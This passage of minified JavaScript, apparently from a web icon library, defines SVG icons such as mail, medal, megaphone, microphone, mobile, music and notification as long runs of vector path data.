c21.597,0,39.118-24.256,39.118-54.171C1095.47,693.56,1077.948,669.317,1056.352,669.317z"}),(0,o.createElement)("path",{d:"M990.863,653.241c2.665-1.942,65.915-47.15,131.09,0.094c3.248,2.355,7.001,3.485,10.719,3.485 c5.67,0,11.252-2.623,14.831-7.559c5.931-8.175,4.11-19.616-4.075-25.546c-69.808-50.607-144.57-22.039-174.353,0.139 c-8.082,6.016-9.745,17.411-3.763,25.516C971.295,657.476,982.738,659.191,990.863,653.241z"}),(0,o.createElement)("path",{d:"M1044.421,1241.034v-73.482c144.013-55.917,249.028-190.594,261.882-350.876 c54.584-8.121,96.594-55.29,96.594-112.094c0-52.986-36.558-97.585-85.777-109.929c9.814-23.683,17.381-48.378,22.441-73.552 c22.416-111.207-3.248-225.034-72.289-320.511c-68.475-94.707-171.558-160.041-290.254-183.967 c-32.013-6.448-64.617-9.723-96.897-9.723c-101.613,0-200.664,32.694-278.898,92.055 c-79.953,60.67-134.599,146.725-153.866,242.316c-15.827,78.522-7.48,159.771,24.14,234.966l7.215,17.158 c-52.042,10.239-91.424,56.193-91.424,111.192c0,57.297,42.746,104.765,98.016,112.271 c13.167,163.313,122.008,300.019,270.279,353.863v70.313c-293.228,54.776-503.231,269.911-503.231,520.054v32.013h184.187v-64.025 H317.726c13.115-155.446,121.035-292.501,281.221-370.137l163.441,370.137H604.229v-188.913v-1.533 c0-16.833-14.332-30.479-32.015-30.479c-17.681,0-32.013,13.646-32.013,30.479v1.533v188.913v19.855v12.157v32.013h1007.448 v-32.013C1547.649,1510.945,1337.645,1295.811,1044.421,1241.034z M930.688,1458.755l-21.867,237.567h-26.049l-21.862-237.567 l34.886-28.459L930.688,1458.755z M797.781,1471.487l20.835,226.429l-84.098-190.454L797.781,1471.487z M993.72,1472.462l61.543,35 l-81.808,185.281L993.72,1472.462z M1081.258,1448.584l-121.021-68.823l84.185-46.617v-26.892 c30.759,6.287,60.437,14.517,88.879,24.479L1081.258,1448.584z M1338.872,704.582c0,20.803-12.967,38.599-31.229,45.833v-81.098 v-10.562C1325.905,665.991,1338.872,683.786,1338.872,704.582z M510.122,353.917C543.173,189.945,698.781,70.929,880.12,70.929 c28.048,0,56.385,2.843,84.252,8.462c102.856,20.733,192.005,77.098,251.014,158.712c58.452,80.838,80.267,176.85,61.413,270.353 c-2.422,12.005-5.504,23.879-9.232,35.546c-74.684-38.646-176.441-81.161-283.574-95.821 c-187.071-25.595-203.602-35.866-221.686-88.241l-15.614-45.238L710.842,346.4c-1.075,0.954-97.289,85.933-194.556,164.338 C501.821,459.388,499.642,405.905,510.122,353.917z M451.313,704.587c0-21.33,13.638-39.487,32.631-46.347v11.077v81.614 C464.951,744.071,451.313,725.916,451.313,704.587z M547.972,783.466V669.317V636.07v-68.66 c67.086-53.777,134.851-111.775,173.301-145.113c36.729,56.681,103.2,68.686,254.046,89.32 c104.311,14.275,205.434,59.292,268.301,92.136v32.317v33.247v114.148c0,191.785-156.039,347.824-347.824,347.824 C704.004,1131.29,547.972,975.251,547.972,783.466z M895.795,1195.314c28.988,0,57.282-3.03,84.592-8.752v44.335v37.194v27.318 l-80.547,44.613l-80.231-44.588v-27.344v-37.194v-42.681C844.309,1192.858,869.77,1195.314,895.795,1195.314z M755.582,1306.252 v26.857l78.91,43.838l-125.97,71.637l-50.614-114.622C689.021,1322.563,721.623,1313.192,755.582,1306.252z M1249.584,1729.075 v-190.446c0-16.833-14.334-30.479-32.012-30.479c-17.688,0-32.014,13.646-32.014,30.479v190.446h-158.163l165.243-374.213 c164.844,76.87,276.295,216.041,289.637,374.213H1249.584z"})),mail:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M531.087,344.727c0.247,0,0.492,0.033,0.739,0.033h453.558c16.819,0,30.444-13.625,30.444-30.436 c0-16.815-13.625-30.435-30.444-30.435H638.226H531.826c-16.811,0-30.44,13.62-30.44,30.435 C501.386,330.885,514.624,344.331,531.087,344.727z"}),(0,o.createElement)("path",{d:"M531.826,497.389h749.422c16.814,0,30.443-13.629,30.443-30.439c0-16.814-13.629-30.439-30.443-30.439 H531.826c-16.811,0-30.44,13.625-30.44,30.439C501.386,483.76,515.016,497.389,531.826,497.389z"}),(0,o.createElement)("path",{d:"M531.826,650.009h749.422c16.814,0,30.443-13.633,30.443-30.444c0-8.872-3.822-16.827-9.877-22.389 c-5.424-4.982-12.625-8.046-20.566-8.046H531.826c-7.938,0-15.143,3.064-20.567,8.046c-6.054,5.562-9.873,13.517-9.873,22.389 C501.386,636.376,515.016,650.009,531.826,650.009z"}),(0,o.createElement)("path",{d:"M1311.691,772.194c0-16.806-13.629-30.436-30.443-30.436H531.826c-16.811,0-30.44,13.629-30.44,30.436 c0,16.815,13.629,30.444,30.44,30.444h749.422C1298.063,802.638,1311.691,789.009,1311.691,772.194z"}),(0,o.createElement)("path",{d:"M1772.088,533.511c-2.481-3.422-5.691-6.4-9.603-8.622l-246.454-139.961v-82.389v-9.853 c-1.264-7.738-5.432-14.501-11.406-19.066l-49.465-42.835l-131.073-113.508l-61.889-53.596c-5.286-4.582-11.866-7.021-18.591-7.275 h-2.197H937.55h-66.904H383.746c-47.809,0-86.705,38.895-86.705,86.696V382.15L61.554,515.893 c-31.678,11.565-54.396,41.913-54.396,77.54v1067.543c0,45.554,37.064,82.618,82.622,82.618h1625.598 c45.558,0,82.623-37.064,82.623-82.618V593.433C1798,569.839,1788.002,548.583,1772.088,533.511z M1614.426,510.814l92.579,52.583 l-11.661,8.301l-179.313,127.664V571.698v-60.883v-55.873L1614.426,510.814z M1405.5,267.454h-132.895V152.361L1405.5,267.454z M357.922,571.698v-60.883v-93.226v-70.01V143.102c0-14.239,11.585-25.825,25.824-25.825h379.699H886.73h34.734h123.285h167.617 v180.296c0,16.631,13.483,30.11,30.119,30.11h212.674v22.668v70.015v90.448v60.883V742.7l-397.298,282.87l-50.781,36.148 l-18.591,13.241l-81.088,57.728l-81.093-57.728l-18.611-13.25l-50.782-36.155L357.922,741.483V571.698z M193.76,510.814 l103.281-58.649v58.649v60.883V698.14L119.448,571.698l-14.597-10.395L193.76,510.814z M68.036,1648.984V609.822l229.005,163.047 l60.88,43.344L710.7,1067.38l-8.372,7.58l-67.267,60.871L68.036,1648.984z M121.495,1682.723l604.294-546.892l35.693-32.304 l45.37,32.304l82.897,59.028c5.283,3.76,11.462,5.637,17.653,5.637c6.187,0,12.369-1.877,17.652-5.637l82.889-59.028l45.354-32.286 l35.686,32.286l604.311,546.892H121.495z M1737.119,1640.271l-557.41-504.439l-67.267-60.871l-8.359-7.563l351.077-249.962 l60.871-43.348l221.088-157.407V1640.271z"})),medal:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1170.537,1120.229l-178.391-25.926l-79.759-161.635c-5.272-10.681-16.147-17.441-28.059-17.441 c-11.906,0-22.783,6.761-28.056,17.441l-79.776,161.63l-178.386,25.931c-11.785,1.711-21.574,9.964-25.253,21.29 c-3.68,11.326-0.611,23.761,7.917,32.071l129.084,125.823l-30.474,177.653c-2.013,11.736,2.811,23.6,12.447,30.601 c9.633,6.991,22.404,7.926,32.944,2.383l159.553-83.88l159.547,83.88c4.573,2.404,9.575,3.592,14.552,3.592 c6.494,0,12.945-2.017,18.393-5.975c9.637-7.001,14.464-18.864,12.447-30.601l-30.465-177.657l129.07-125.819 c8.529-8.314,11.593-20.745,7.918-32.071C1192.107,1130.192,1182.321,1121.939,1170.537,1120.229z M1003.346,1266.085 c-7.376,7.188-10.736,17.541-9,27.693l22.539,131.389l-117.999-62.035c-4.557-2.396-9.555-3.592-14.557-3.592 c-5.001,0-9.999,1.196-14.556,3.592l-118.002,62.035l22.539-131.389c1.741-10.152-1.624-20.505-9-27.693l-95.467-93.054 l131.929-19.178c10.188-1.479,19-7.879,23.556-17.109l59-119.543l58.995,119.538c4.547,9.235,13.355,15.635,23.551,17.114 l131.934,19.178L1003.346,1266.085z"}),(0,o.createElement)("path",{d:"M1784.612,23.339c-5.569-9.776-15.948-15.813-27.191-15.813h-462.282c-11.183,0-21.51,5.966-27.096,15.652 L913.897,637.144c-9.349-0.476-18.752-0.711-28.211-0.733L531.961,23.178c-5.587-9.686-15.918-15.652-27.1-15.652H42.58 c-11.247,0-21.626,6.037-27.191,15.813c-5.561,9.772-5.451,21.779,0.292,31.451l451.452,759.959 c-99.576,103.891-160.847,244.763-160.847,399.686c0,318.734,259.309,578.041,578.039,578.041 c318.728,0,578.03-259.307,578.03-578.041c0-144.814-53.537-277.354-141.842-378.884L1784.315,54.79 C1790.06,45.118,1790.173,33.111,1784.612,23.339z M97.553,70.097h389.239l329.004,570.376 c-114.047,13.535-218.012,60.385-301.861,130.55L97.553,70.097z M1399.784,1214.435c0,284.232-231.237,515.47-515.459,515.47 c-284.229,0-515.468-231.237-515.468-515.47c0-131.891,49.815-252.35,131.586-343.609c14.351-16.018,29.67-31.146,45.89-45.261 c82.522-71.82,188.032-117.836,303.869-125.443c9.267-0.607,18.598-0.969,27.991-1.078c2.042-0.026,4.081-0.079,6.132-0.079 c12.871,0,25.627,0.489,38.267,1.423c8.59,0.629,17.127,1.48,25.594,2.532c113.699,14.115,216.014,65.408,294.402,141.287 c15.678,15.176,30.387,31.329,44.048,48.369C1357.395,980.84,1399.784,1092.771,1399.784,1214.435z M1275.322,789.106 c-80.282-73.867-181.454-125.339-293.529-144.451l331.414-574.558h389.236L1275.322,789.106z"})),megaphone:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1768.976,390.693c-18.385-88.021-44.455-175.106-78.13-260.807c-1.895-4.813-3.701-9.645-5.645-14.455 c-19.858-47.839-63.561-81.251-106.271-81.251c-7.987,0-15.769,1.196-22.961,3.491c-84.593,26.491-168.938,58.602-250.511,89.656 c-178.601,68.001-363.281,138.31-555.392,150.404c-22.021,1.429-41.681,8.643-57.019,19.748 c-12.912-10.34-29.055-16.564-46.604-16.564H254.01c-42.107,0-76.362,35.469-76.362,79.066v139.127 c-5.021-1.016-10.208-1.565-15.523-1.565H86.355c-43.307,0-78.543,35.469-78.543,79.066v261.549 c0,43.593,35.236,79.062,78.543,79.062h75.769c5.315,0,10.502-0.55,15.523-1.564v139.136c0,43.598,34.255,79.066,76.362,79.066 h93.205l328.811,570.19c21.968,38.102,62.958,61.771,106.974,61.771c21.528,0,42.811-5.707,61.552-16.513 c58.922-33.991,79.22-109.585,45.246-168.521l-257.742-446.929h14.389c17.559,0,33.701-6.229,46.618-16.578 c15.343,11.104,35.02,18.323,57.067,19.761c192.032,12.085,376.704,82.395,555.292,150.386 c81.585,31.064,165.944,63.183,250.4,89.631c7.346,2.339,15.118,3.525,23.098,3.525c42.709,0,86.412-33.407,106.401-81.532 c1.908-4.726,3.688-9.479,5.549-14.213c33.644-85.572,59.696-172.592,78.076-260.577c15.141-95.359,23.243-203.902,23.243-316.88 C1792.188,594.476,1784.094,486.008,1768.976,390.693z M162.125,854.196H86.355c-8.555,0-15.519-7.192-15.519-16.038V576.609 c0-8.845,6.964-16.042,15.519-16.042h75.769c8.559,0,15.523,7.197,15.523,16.042v261.549 C177.647,847.004,170.684,854.196,162.125,854.196z M835.2,1612.268c16.622,28.83,6.687,65.815-22.135,82.442 c-9.175,5.289-19.572,8.085-30.065,8.085c-21.555,0-41.624-11.58-52.377-30.229l-310.654-538.709h139.334L835.2,1612.268z M646.443,1070.833h-50.737h-72.753H383.624h-72.753H254.01c-7.231,0-13.338-7.346-13.338-16.042V838.158V576.609V359.981 c0-8.845,5.983-16.042,13.338-16.042h392.434c7.364,0,13.352,7.196,13.352,16.042v694.81 C659.795,1063.637,653.807,1070.833,646.443,1070.833z M1327.845,1228.53c-182.979-69.667-372.188-141.704-573.689-154.387 c-18.842-1.227-31.336-11.659-31.336-18.033v-1.319v-694.81v-1.332c0-6.366,12.489-16.802,31.266-18.02 c201.585-12.692,390.807-84.729,573.795-154.4c56.083-21.348,113.498-43.162,171.141-63.231 c-20.847,33.525-39.302,79.743-55.251,138.547c-15.141,55.823-27.055,120.202-35.504,190.01 c-2.563,21.146-4.81,42.771-6.714,64.844c-5.271,61.033-8.04,125.244-8.04,190.981c0,65.746,2.77,129.957,8.04,190.994 c1.904,22.074,4.155,43.699,6.714,64.844c8.449,69.804,20.363,134.177,35.504,190.005c15.949,58.809,34.409,105.03,55.26,138.556 C1441.404,1271.719,1383.958,1249.896,1327.845,1228.53z M1456.536,707.379c0-64.154,2.699-126.677,7.816-185.956 c58.347,23.528,101.1,97.956,101.1,185.96c0,87.999-42.753,162.432-101.096,185.96 C1459.235,834.065,1456.536,771.538,1456.536,707.379z M1706.329,1017.023c-6.938,43.153-15.364,83.374-25.217,119.704 c-15.338,56.563-31.648,94.238-46.371,118.593c-17.805,29.455-33.288,39.399-41.888,39.399c-15.707,0-54.363-33.021-88.258-157.992 c-14.253-52.561-25.521-113.272-33.579-179.265c90.097-26.386,157.46-128.458,157.46-250.079s-67.368-223.688-157.46-250.075 c8.059-65.997,19.326-126.708,33.579-179.269c33.895-124.976,72.555-157.992,88.258-157.992c8.595,0,24.074,9.936,41.87,39.373 c14.728,24.351,31.046,62.035,46.389,118.619c9.883,36.453,18.337,76.828,25.287,120.148 C1750.309,603.387,1750.282,811.917,1706.329,1017.023z"})),message:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1768.407,80.034H31.592C14.144,80.034,0,94.178,0,111.627v1247.362c0,17.453,14.144,31.593,31.592,31.593 h174.524v297.79c0,11.292,6.021,21.72,15.796,27.36c4.888,2.821,10.339,4.232,15.796,4.232c5.452,0,10.908-1.411,15.796-4.232 l563.182-325.15h951.721c17.449,0,31.593-14.14,31.593-31.593V111.627C1800,94.178,1785.856,80.034,1768.407,80.034z M1736.815,1327.396H808.22c-5.544,0-10.992,1.464-15.796,4.231l-523.123,302.03v-274.669c0-17.444-14.144-31.593-31.592-31.593 H63.185V143.219h1673.631V1327.396z"}),(0,o.createElement)("path",{d:"M246.713,423.688h1287.764c17.448,0,31.592-14.144,31.592-31.593c0-17.449-14.144-31.592-31.592-31.592 H246.713c-17.449,0-31.592,14.143-31.592,31.592C215.121,409.545,229.264,423.688,246.713,423.688z"}),(0,o.createElement)("path",{d:"M246.713,667.4h1287.764c17.448,0,31.592-14.143,31.592-31.592s-14.144-31.592-31.592-31.592H246.713 c-17.449,0-31.592,14.143-31.592,31.592S229.264,667.4,246.713,667.4z"}),(0,o.createElement)("path",{d:"M246.713,911.109h1287.764c17.448,0,31.592-14.142,31.592-31.59c0-17.449-14.144-31.593-31.592-31.593 H246.713c-17.449,0-31.592,14.144-31.592,31.593C215.121,896.968,229.264,911.109,246.713,911.109z"}),(0,o.createElement)("path",{d:"M246.713,1154.82h1287.764c17.448,0,31.592-14.139,31.592-31.592c0-17.444-14.144-31.592-31.592-31.592 H246.713c-17.449,0-31.592,14.147-31.592,31.592C215.121,1140.682,229.264,1154.82,246.713,1154.82z"})),messages:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M251.485,1662c-5.408,0-10.816-1.398-15.663-4.195c-9.693-5.598-15.663-15.938-15.663-27.13v-201.559 H86.872c-44.37,0-80.467-36.097-80.467-80.463V380.479c0-44.367,36.098-80.462,80.467-80.462h1467.337 c44.375,0,80.473,36.095,80.473,80.462v968.174c0,44.366-36.098,80.463-80.473,80.463H663.253l-396.105,228.688 C262.302,1660.602,256.894,1662,251.485,1662z M86.872,362.667c-9.824,0-17.817,7.991-17.817,17.813v968.174 c0,9.824,7.993,17.813,17.817,17.813h164.614c17.301,0,31.325,14.023,31.325,31.324v178.629l356.388-205.758 c4.761-2.749,10.163-4.195,15.662-4.195h899.349c9.829,0,17.822-7.989,17.822-17.813V380.479c0-9.822-7.993-17.813-17.822-17.813 H86.872z"}),(0,o.createElement)("path",{d:"M952.785,607.586H253.36c-17.302,0-31.325-14.023-31.325-31.325c0-17.301,14.023-31.325,31.325-31.325 h699.425c17.301,0,31.324,14.024,31.324,31.325C984.109,593.563,970.086,607.586,952.785,607.586z"}),(0,o.createElement)("path",{d:"M1387.721,794.601H253.36c-17.302,0-31.325-14.024-31.325-31.325c0-17.302,14.023-31.325,31.325-31.325 h1134.36c17.302,0,31.326,14.023,31.326,31.325C1419.047,780.577,1405.022,794.601,1387.721,794.601z"}),(0,o.createElement)("path",{d:"M1387.721,981.611H253.36c-17.302,0-31.325-14.023-31.325-31.324c0-17.302,14.023-31.325,31.325-31.325 h1134.36c17.302,0,31.326,14.023,31.326,31.325C1419.047,967.588,1405.022,981.611,1387.721,981.611z"}),(0,o.createElement)("path",{d:"M1387.721,1168.627H253.36c-17.302,0-31.325-14.024-31.325-31.325c0-17.302,14.023-31.325,31.325-31.325 h1134.36c17.302,0,31.326,14.023,31.326,31.325C1419.047,1154.603,1405.022,1168.627,1387.721,1168.627z"}),(0,o.createElement)("path",{d:"M1712.124,145H244.786c-44.37,0-80.467,36.097-80.467,80.467v85.476h62.65v-85.476 c0-9.824,7.993-17.816,17.817-17.816h1467.338c9.828,0,17.821,7.993,17.821,17.816v968.17c0,9.824-7.993,17.813-17.821,17.813 h-108.769v62.65h108.769c44.374,0,80.472-36.098,80.472-80.463v-968.17C1792.596,181.097,1756.498,145,1712.124,145z"})),microphone:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M899.997,1430.906c196.13,0,355.689-159.568,355.689-355.707l0.005-725.97c0-2.024-0.197-4.004-0.57-5.922 C1245.143,154.168,1090.046,6.706,900.006,6.706c-190.005,0-345.088,147.425-355.124,336.513c-0.377,1.945-0.574,3.956-0.574,6.01 v725.97C544.308,1271.338,703.868,1430.906,899.997,1430.906z M607.108,896.711h117.567c17.343,0,31.4-14.058,31.4-31.4 s-14.058-31.4-31.4-31.4H607.108V681.478h117.567c17.343,0,31.4-14.058,31.4-31.4s-14.058-31.4-31.4-31.4H607.108V466.24h117.567 c17.343,0,31.4-14.058,31.4-31.4c0-17.343-14.058-31.4-31.4-31.4H607.108v-49.663c0.158-1.082,0.259-2.178,0.302-3.29 C612.3,228.398,690.59,126.857,798.984,87.303v125.965c0,17.343,14.058,31.4,31.4,31.4s31.4-14.058,31.4-31.4V72.036 c12.516-1.616,25.259-2.53,38.221-2.53c11.552,0,22.924,0.738,34.125,2.026v141.735c0,17.343,14.058,31.4,31.4,31.4 s31.4-14.058,31.4-31.4V85.822c110.51,38.464,190.711,141.043,195.656,264.665c0.044,1.1,0.145,2.19,0.303,3.259v49.694H1075.31 c-17.343,0-31.4,14.057-31.4,31.4c0,17.343,14.058,31.4,31.4,31.4h117.581v152.437H1075.31c-17.343,0-31.4,14.058-31.4,31.4 s14.058,31.4,31.4,31.4h117.581l-0.005,152.433H1075.31c-17.343,0-31.4,14.058-31.4,31.4s14.058,31.4,31.4,31.4h117.576v178.488 c0,161.51-131.388,292.906-292.889,292.906c-161.5,0-292.889-131.396-292.889-292.906V896.711z"}),(0,o.createElement)("path",{d:"M1509.412,676.055h-144.367c-17.343,0-31.4,14.057-31.4,31.4v368.188 c0,237.368-191.71,430.769-428.426,433.576c-1.699-0.285-3.438-0.469-5.217-0.469c-1.778,0-3.518,0.184-5.217,0.469 c-236.716-2.808-428.43-196.208-428.43-433.576V707.455c0-17.343-14.058-31.4-31.4-31.4H290.586c-17.343,0-31.4,14.057-31.4,31.4 c0,17.343,14.057,31.4,31.4,31.4h112.968v336.788c0,263.191,205.881,479.161,465.048,495.422v159.429H622.835 c-17.343,0-31.4,14.058-31.4,31.4s14.058,31.4,31.4,31.4h554.333c17.343,0,31.4-14.058,31.4-31.4s-14.058-31.4-31.4-31.4H931.402 v-159.429c259.166-16.261,465.043-232.23,465.043-495.422V738.855h112.967c17.344,0,31.4-14.057,31.4-31.4 C1540.813,690.112,1526.756,676.055,1509.412,676.055z"})),mobile:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1346.861,3.943h-893.72c-45.89,0-83.232,37.339-83.232,83.229v1625.653 c0,45.891,37.342,83.23,83.232,83.23h893.72c45.891,0,83.229-37.34,83.229-83.23V87.173 C1430.091,41.283,1392.752,3.943,1346.861,3.943z M453.141,66.61h893.72c11.34,0,20.563,9.223,20.563,20.563v172.719H432.578 V87.173C432.578,75.833,441.801,66.61,453.141,66.61z M1367.424,291.234v1169.788H432.578V291.234H1367.424z M1346.861,1733.39 h-893.72c-11.34,0-20.563-9.224-20.563-20.563v-220.47h934.846v220.47C1367.424,1724.166,1358.201,1733.39,1346.861,1733.39z"}),(0,o.createElement)("path",{d:"M949.946,143.519h-43.739h-12.412h-43.74c-8.655,0-15.667,7.012-15.667,15.667 c0,8.646,7.012,15.667,15.667,15.667h43.74h12.412h43.739c8.655,0,15.667-7.021,15.667-15.667 C965.613,150.531,958.602,143.519,949.946,143.519z"}),(0,o.createElement)("path",{d:"M900.002,1538.701c-39.779,0-72.144,32.355-72.144,72.135c0,39.778,32.365,72.145,72.144,72.145 c39.777,0,72.142-32.366,72.142-72.145C972.144,1571.057,939.779,1538.701,900.002,1538.701z M900.002,1651.646 c-22.503,0-40.81-18.307-40.81-40.811c0-22.495,18.307-40.802,40.81-40.802c22.501,0,40.809,18.307,40.809,40.802 C940.811,1633.34,922.503,1651.646,900.002,1651.646z"})),mouse:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M951.669,1792.279c-143.699,0-278.138-75.66-378.553-213.039 c-98.267-134.439-152.384-312.672-152.384-501.869c0-189.193,54.117-367.426,152.384-501.865 c100.415-137.379,234.854-213.04,378.553-213.04c143.701,0,278.14,75.66,378.56,213.04 c98.262,134.438,152.381,312.669,152.381,501.865c0,189.197-54.119,367.43-152.381,501.869 C1229.809,1716.619,1095.37,1792.279,951.669,1792.279z M951.669,424.84c-258.368,0-468.563,292.723-468.563,652.531 c0,359.808,210.196,652.535,468.563,652.535c258.37,0,468.568-292.728,468.568-652.535 C1420.237,717.563,1210.039,424.84,951.669,424.84z"}),(0,o.createElement)("path",{d:"M965.035,953.709h-26.731c-46.675,0-84.648-37.973-84.648-84.648v-166.33 c0-46.675,37.974-84.648,84.648-84.648h26.731c46.675,0,84.647,37.974,84.647,84.648v166.33 C1049.683,915.736,1011.71,953.709,965.035,953.709z M938.304,680.455c-12.282,0-22.276,9.994-22.276,22.276v166.33 c0,12.282,9.994,22.276,22.276,22.276h26.731c12.281,0,22.275-9.994,22.275-22.276v-166.33c0-12.282-9.994-22.276-22.275-22.276 H938.304z"}),(0,o.createElement)("path",{d:"M951.669,424.84c-17.225,0-31.187-13.962-31.187-31.187c0-54.452-13.369-73.996-23.424-83.959 c-33.636-33.329-117.371-32.567-244.13-31.399c-25.544,0.235-51.957,0.477-80.594,0.477c-85.779,0-151.948-24.597-196.665-73.106 C310.528,135,317.424,40.372,317.748,36.377c1.401-17.166,16.48-29.949,33.616-28.552c17.129,1.396,29.892,16.38,28.561,33.499 c-0.092,1.349-4.468,72.523,42.009,122.504c32.437,34.882,83.041,52.57,150.401,52.57c28.352,0,54.617-0.242,80.019-0.474 c147.482-1.349,236.497-2.169,288.608,49.464c28.58,28.321,41.894,69.079,41.894,128.265 C982.855,410.878,968.894,424.84,951.669,424.84z"})),music:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1674.102,313.758V35.517c0-0.531-0.053-1.05-0.08-1.573c0.212-3.68-0.184-7.458-1.348-11.182 c-5.178-16.602-22.839-25.852-39.428-20.683L569.624,333.772c-1.089,0.334-2.151,0.72-3.184,1.16 c-0.084,0.035-0.154,0.079-0.238,0.114c-0.856,0.378-1.691,0.782-2.507,1.226c-0.439,0.242-0.853,0.518-1.279,0.777 c-0.435,0.263-0.878,0.519-1.295,0.804c-0.527,0.356-1.023,0.751-1.529,1.138c-0.294,0.229-0.602,0.443-0.892,0.685 c-0.496,0.413-0.958,0.857-1.428,1.301c-0.272,0.254-0.553,0.496-0.816,0.76c-0.409,0.417-0.786,0.855-1.173,1.291 c-0.294,0.329-0.598,0.655-0.879,0.998c-0.302,0.377-0.583,0.773-0.869,1.164c-0.32,0.435-0.655,0.866-0.953,1.313 c-0.215,0.325-0.404,0.663-0.606,0.992c-0.329,0.544-0.663,1.085-0.962,1.647c-0.149,0.281-0.277,0.575-0.417,0.861 c-0.308,0.623-0.615,1.251-0.878,1.893c-0.124,0.299-0.22,0.602-0.329,0.901c-0.242,0.641-0.488,1.282-0.69,1.945 c-0.136,0.448-0.232,0.909-0.351,1.366c-0.132,0.519-0.281,1.028-0.386,1.555c-0.184,0.905-0.316,1.823-0.417,2.75 c-0.013,0.088-0.03,0.171-0.039,0.263c-0.114,1.125-0.171,2.258-0.163,3.4v281.451c0,0.119,0,0.242,0,0.365v748.525 c-44.338-48.791-108.277-79.475-179.244-79.475c-133.55,0-242.2,108.656-242.2,242.209c0,133.554,108.65,242.203,242.2,242.203 c133.553,0,242.208-108.649,242.208-242.203V668.854l1000.829-312.107v709.3c-44.338-48.791-108.273-79.465-179.24-79.465 c-133.553,0-242.203,108.646-242.203,242.199c0,133.557,108.65,242.213,242.203,242.213c133.555,0,242.205-108.656,242.205-242.213 V314.122C1674.102,313.999,1674.102,313.88,1674.102,313.758z M368.1,1736.388c-98.83,0-179.235-80.405-179.235-179.239 c0-98.835,80.405-179.244,179.235-179.244c98.833,0,179.244,80.409,179.244,179.244 C547.344,1655.982,466.934,1736.388,368.1,1736.388z M1431.896,1408.029c-98.832,0-179.239-80.41-179.239-179.248 c0-98.835,80.407-179.239,179.239-179.239c98.834,0,179.24,80.404,179.24,179.239 C1611.137,1327.619,1530.73,1408.029,1431.896,1408.029z M610.308,602.899v-215.86L1611.137,74.931v215.861L610.308,602.899z"})),notification:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M942.432,362.391c28.336,0,78.253,16.538,120.884,52.848c33.173,28.25,72.71,77.44,72.71,151.333 c0,17.307,14.031,31.336,31.336,31.336c17.312,0,31.336-14.029,31.336-31.336c0-175.203-166.831-266.854-256.266-266.854 c-17.304,0-31.336,14.028-31.336,31.336C911.096,348.362,925.128,362.391,942.432,362.391z"}),(0,o.createElement)("path",{d:"M1555.292,1240.33c-11.603-18.885-24.035-39.138-36.538-60.862c-1.408-5.24-4.108-9.945-7.79-13.722 c-49.513-88.479-97.741-200.637-97.741-344.862c0-339.747-187.438-622.592-438.45-681.168 c7.458-12.796,11.813-27.633,11.813-43.511c0-47.816-38.768-86.576-86.583-86.576c-47.813,0-86.581,38.759-86.581,86.576 c0,15.878,4.35,30.715,11.813,43.511c-251.011,58.576-438.455,341.421-438.455,681.168c0,188.204-82.117,321.858-142.074,419.446 c-47.275,76.945-81.431,132.54-53.413,182.688c34.706,62.133,150.24,84.154,527.356,89.08 c-11.577,25.247-18.085,53.287-18.085,82.834c0,109.974,89.466,199.439,199.438,199.439c109.971,0,199.432-89.466,199.432-199.439 c0-29.547-6.505-57.587-18.09-82.834c377.126-4.926,492.65-26.947,527.361-89.08 C1636.728,1372.87,1602.566,1317.275,1555.292,1240.33z M900.002,1731.698c-75.415,0-136.767-61.352-136.767-136.767 c0-30.793,10.234-59.236,27.477-82.121c34.47,0.25,70.82,0.385,109.26,0.424c0.021,0,0.039,0,0.061,0 c38.438-0.039,74.783-0.174,109.26-0.424c17.231,22.885,27.471,51.328,27.471,82.121 C1036.763,1670.347,975.412,1731.698,900.002,1731.698z M1553.997,1392.455c-5.909,10.575-33.067,30.156-148.601,42.466 c-80.962,8.635-194.844,13.343-368.712,14.981c-41.952,0.395-87.355,0.612-136.683,0.66c-49.33-0.048-94.734-0.266-136.688-0.66 c-173.864-1.639-287.75-6.347-368.713-14.981c-115.524-12.31-142.686-31.891-148.596-42.466 c-10.098-18.081,20.114-67.255,52.102-119.314c10.208-16.613,21.303-34.704,32.686-54.227h131.308 c17.307,0,31.335-14.029,31.335-31.336c0-17.309-14.029-31.337-31.335-31.337H365.03c44.478-87.962,84.421-199.001,84.421-335.357 c0-165.03,47.721-321.097,134.371-439.463c84.238-115.071,196.471-182.333,316.179-189.546 c119.712,7.213,231.939,74.476,316.182,189.546c86.646,118.366,134.367,274.434,134.367,439.463 c0,136.356,39.939,247.396,84.424,335.357H598.516c-17.308,0-31.336,14.028-31.336,31.337c0,17.307,14.028,31.336,31.336,31.336 h870.699c11.375,19.522,22.479,37.609,32.683,54.221C1533.88,1325.2,1564.098,1374.374,1553.997,1392.455z"})),offer:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1799.344,899.996c0-88.462-95.547-165.006-276.3-221.355c-16.881-5.265-34.349-10.276-52.301-15.054 c9.318-16.072,18.118-31.96,26.339-47.619c87.966-167.659,101.403-289.341,38.854-351.9c-25.566-25.557-61.558-38.52-106.981-38.52 c-75.811,0-177.951,37.532-292.485,103.924c-4.795-18.03-9.827-35.569-15.106-52.516C1065.015,96.198,988.466,0.657,900.001,0.657 